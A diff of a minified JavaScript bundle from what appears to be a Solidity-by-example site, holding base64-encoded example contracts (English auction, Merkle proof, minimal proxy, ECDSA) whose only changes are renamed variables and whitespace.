CAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],lA=`

    English auction for NFT.

    +`,Pj=({prev:s,next:a})=>r.jsx(A,{version:Qj,title:Tj,description:Lj,cyfrinLink:Uj,html:Oj,prev:s,next:a,codes:_j}),$j="0.8.26",qj="English Auction",sA="An example of English auction in Solidity",aA="https://www.cyfrin.io/glossary/english-auction-solidity-code-example",nA=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBld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AgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],lA=`

    English auction for NFT.

    Auction

    1. Seller of NFT deploys this contract.
    2. @@ -2307,7 +2307,7 @@ How to swap tokens assert(map.getKeyAtIndex(2) == address(2)); } } -`,TA=({prev:s,next:a})=>r.jsx(A,{version:xA,title:JA,description:zA,cyfrinLink:DA,html:QA,prev:s,next:a,codes:EA}),UA="0.8.26",LA="Merkle Tree",_A="Learn about Merkle tree in Solidity",OA="https://www.cyfrin.io/glossary/merkle-tree-solidity-code-example",PA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],$A=`

      Merkle tree allows you to cryptographically prove that an element is contained

      +`,TA=({prev:s,next:a})=>r.jsx(A,{version:xA,title:JA,description:zA,cyfrinLink:DA,html:QA,prev:s,next:a,codes:EA}),LA="0.8.26",UA="Merkle Tree",_A="Learn about Merkle tree in Solidity",OA="https://www.cyfrin.io/glossary/merkle-tree-solidity-code-example",PA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],$A=`

      Merkle tree allows you to cryptographically prove that an element is contained

      in a set without revealing the entire set.

      // SPDX-License-Identifier: MIT
       pragma solidity ^0.8.26;
      @@ -2385,7 +2385,7 @@ How to swap tokens
           0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
           */
       }
      -
      `,qA=({prev:s,next:a})=>r.jsx(A,{version:UA,title:LA,description:_A,cyfrinLink:OA,html:$A,prev:s,next:a,codes:PA}),su="0.8.26",au="Minimal Proxy Contract",nu="Deploy contracts cheaply with minimal proxy contract",lu="https://www.cyfrin.io/glossary/minimal-proxy-contract-solidity-code-example",pu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYW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IGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],eu=`

      If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

      +`,qA=({prev:s,next:a})=>r.jsx(A,{version:LA,title:UA,description:_A,cyfrinLink:OA,html:$A,prev:s,next:a,codes:PA}),su="0.8.26",au="Minimal Proxy Contract",nu="Deploy contracts cheaply with minimal proxy contract",lu="https://www.cyfrin.io/glossary/minimal-proxy-contract-solidity-code-example",pu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],eu=`

      If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

      // SPDX-License-Identifier: MIT
       pragma solidity ^0.8.26;
       
      @@ -2970,7 +2970,7 @@ After a minimum waiting period, the transaction can be executed.

      emit Cancel(_txId); } } -
      `,Ju=({prev:s,next:a})=>r.jsx(A,{version:Hu,title:Ku,description:Fu,cyfrinLink:Mu,html:xu,prev:s,next:a,codes:Su}),zu="0.8.26",Du="Uni-Directional Payment Channel",Eu="An example of uni-directional payment channels in Solidity",Qu="https://www.cyfrin.io/glossary/unidirectional-payment-channel-solidity-code-example",Tu=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgI